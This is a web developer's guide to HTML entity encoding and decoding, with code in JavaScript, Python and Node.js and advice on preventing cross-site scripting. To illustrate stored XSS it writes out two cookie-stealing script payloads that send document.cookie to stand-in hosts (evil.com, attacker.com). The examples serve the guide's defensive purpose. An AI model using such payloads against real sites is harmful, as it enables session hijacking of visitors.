HTML Entity Encoder/Decoder: Complete Guide for Web Developers
Master HTML entity encoding and decoding: when to use it, XSS prevention, and code examples in JavaScript, Python, and Node.js with a free online tool.
HTML Entity Encoder/Decoder: Complete Guide for Web Developers
HTML entities are special codes that represent characters with special meaning in HTML โ like <, >, &, and ". Encoding them correctly is essential for both correctness and security.
Try the DevPlaybook HTML Entity Encoder โ
What Are HTML Entities?
HTML entities are string representations of characters that would otherwise be interpreted as HTML markup. They start with & and end with ;.
<!-- Without encoding โ browser parses as HTML tag -->
<p>The formula is: a < b && b > c</p> <!-- Broken! -->
<!-- With encoding โ renders correctly -->
<p>The formula is: a < b && b > c</p>
Common HTML Entities Reference
| Character | Entity Name | Entity Number | Use Case |
|---|---|---|---|
< | < | < | Less-than sign, opening tag |
> | > | > | Greater-than sign, closing tag |
& | & | & | Ampersand |
" | " | " | Double quote in attribute values |
' | ' | ' | Single quote / apostrophe |
| |   | Non-breaking space |
ยฉ | © | © | Copyright symbol |
ยฎ | ® | ® | Registered trademark |
โข | ™ | ™ | Trademark symbol |
โฌ | € | € | Euro sign |
โ | → | → | Right arrow |
โ | — | — | Em dash |
When to Encode HTML
User-generated content: Any text from users (comments, names, bios) must be HTML-encoded before inserting into the DOM. Failing to do this opens you up to XSS (Cross-Site Scripting) attacks.
Dynamic content in templates: When inserting dynamic values into HTML templates, always encode unless you explicitly want to allow HTML markup.
Code examples in documentation: Showing code samples with <, >, or & characters in HTML requires entity encoding.
Emails (HTML): HTML emails should encode special characters in content to avoid rendering issues across email clients.
HTML Encoding in JavaScript
// Encode HTML โ safe for inserting untrusted content
function encodeHTML(str) {
const div = document.createElement('div');
div.textContent = str; // Automatically encodes
return div.innerHTML;
}
// Or manually:
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Usage
const userInput = '<script>alert("xss")</script>';
const safe = escapeHTML(userInput);
document.getElementById('output').innerHTML = safe;
// Displays literal text, doesn't execute script
Decoding HTML Entities in JavaScript
function decodeHTML(str) {
const div = document.createElement('div');
div.innerHTML = str;
return div.textContent || div.innerText;
}
decodeHTML('<b>Bold</b>');
// Returns: '<b>Bold</b>'
HTML Encoding in Python
import html
# Encode
text = '<script>alert("xss")</script>'
safe = html.escape(text)
print(safe)
# <script>alert("xss")</script>
# Encode with quote=False (doesn't escape quotes โ use in text nodes only)
html.escape(text, quote=False)
# Decode
encoded = '<b>Hello & world</b>'
decoded = html.unescape(encoded)
print(decoded)
# <b>Hello & world</b>
HTML Encoding in Node.js
// Using the 'he' library (highly recommended)
// npm install he
const he = require('he');
// Encode
he.encode('<p>Hello & "world"</p>');
// '<p>Hello & "world"</p>'
// Decode
he.decode('<p>Hello</p>');
// '<p>Hello</p>'
// The 'he' library handles all named + numeric entities correctly
Security: HTML Encoding and XSS Prevention
HTML encoding is your first line of defense against Cross-Site Scripting (XSS) attacks.
Stored XSS scenario:
1. Attacker submits: <script>fetch('https://evil.com?cookie='+document.cookie)</script>
2. App stores raw text in database
3. App renders without encoding: innerHTML = rawValue
4. Every user who views the page runs the attacker's script
Prevention:
// UNSAFE โ direct innerHTML with user content
element.innerHTML = userComment; // โ XSS vulnerability
// SAFE โ textContent or encoded innerHTML
element.textContent = userComment; // โ
Auto-encodes
element.innerHTML = escapeHTML(userComment); // โ
Manually encoded
Reactโs automatic escaping:
React JSX escapes all values by default, so <p>{userInput}</p> is safe. The dangerouslySetInnerHTML prop bypasses this โ use it only with sanitized content.
Numeric vs Named Entities
HTML supports two entity formats:
<!-- Named entity (more readable) -->
© < &
<!-- Numeric decimal entity -->
© < &
<!-- Numeric hexadecimal entity -->
© < &
All three represent the same characters. Named entities are preferred for readability. Numeric entities work for any Unicode character.
When to Use
(non-breaking space) prevents a line break between two words. Use it sparingly:
<!-- Keep "10 AM" from breaking across lines -->
Meeting at 10 AM
<!-- Keep a number and its unit together -->
Distance: 42 km
<!-- Avoid using for layout spacing โ use CSS padding/margin instead -->
Tools for HTML Entity Encoding
Browser-based: DevPlaybook HTML Entity Encoder โ paste text and get encoded output instantly.
CLI:
# Python one-liner
python3 -c "import html, sys; print(html.escape(sys.stdin.read()))"
# Pipe file content
cat input.txt | python3 -c "import html, sys; print(html.escape(sys.stdin.read()))"
npm package:
npm install -g he
echo '<b>Hello</b>' | he --encode
Real-World Scenario
A developer building a community forum feature needs to display user-submitted posts on a page. The posts can contain any text โ usernames, code snippets, math notation, even intentional HTML. Without proper encoding, a user who submits the text <script>document.location='https://attacker.com?q='+document.cookie</script> as their post body will have that script execute in every visitorโs browser the moment the page loads. This is a stored XSS attack, and itโs one of the most common web vulnerabilities precisely because itโs easy to forget.
The fix is straightforward but must be applied at every insertion point. In React, {userPost} in JSX is safe because React encodes it automatically โ but <div dangerouslySetInnerHTML={{ __html: userPost }} /> is not. In a templating engine like Jinja2 or Handlebars, {{ post }} is auto-escaped by default, but {{{ post }}} (triple braces in Handlebars) or {{ post | safe }} in Jinja bypasses that protection. Knowing exactly when your framework stops protecting you is as important as knowing how to encode manually.
A second common scenario is writing documentation or technical blog posts. You want to show the reader a literal <div> or an HTML attribute like onClick="..." as visible text on the page, not as executed markup. Any content management system that renders HTML will interpret those angle brackets unless theyโre entity-encoded. Running your code examples through an HTML entity encoder before pasting into a WYSIWYG editor, or understanding that your Markdown processor handles this automatically in fenced code blocks, saves time debugging invisible rendering failures.
Quick Tips
-
Never use
innerHTMLwith untrusted data. Assign user-provided text withelement.textContentinstead โ the browser handles encoding automatically. ReserveinnerHTMLfor content you have sanitized with a library like DOMPurify. -
Encode in the right context. HTML entity encoding (
<,&) is correct for HTML content and attributes. For URLs, useencodeURIComponent(). For JavaScript string literals, use JSON encoding. Using HTML encoding inside a<script>block or URL context will not prevent injection โ each context has its own encoding rules. -
Use
hein Node.js instead of rolling your own. Thehenpm package handles all named entities, numeric entities, and edge cases in the HTML5 spec. A manualreplace()chain will miss character combinations that the spec defines as valid entity sequences. -
Quote all HTML attributes, always. An unquoted attribute like
<div class=user-value>becomes an XSS vector ifuser-valuecontains a space followed byonclick=.... Quoting attributes (class="user-value") and encoding the value inside them eliminates this attack surface. -
Audit uses of
dangerouslySetInnerHTMLin React codebases. Search your entire codebase for this prop โ each occurrence is a potential XSS point. Any of them that accept data from a user, an API, or a database must sanitize the HTML with DOMPurify before rendering.
Conclusion
HTML entity encoding is fundamental to web security and correctness. Always encode user-generated content before inserting it into HTML. Use a JSON-aware approach when encoding is needed programmatically, and rely on framework-level escaping (React, Vue, Angular) whenever possible.
50 CLI Commands That Save Hours Every Week
The exact Git shortcuts, file search tricks, Docker commands, and productivity hacks that senior developers use daily. Compiled from 5+ years of shipping production code.
- Git mastery (10 cmds)
- File & search wizardry
- Docker & DevOps tricks
- Process & network tools
- Productivity boosters
- macOS & Linux install guide
No spam. 1 email/week max. Unsubscribe anytime.
Found this guide useful? Check out our free developer tools.
Affiliate disclosure: Some links below are affiliate links โ we may earn a small commission at no extra cost to you. Learn more.
Recommended Tools & Resources
DigitalOcean
$200 credit for new users. Simple, affordable cloud hosting for developers.
GitHub Student Pack
Free access to 100+ developer tools. Perfect for students and new devs.
Vercel
Deploy frontend apps instantly. Free tier is generous for side projects.
DevPlaybook Products
Boilerplates, scripts & AI toolkits to 10x your dev workflow.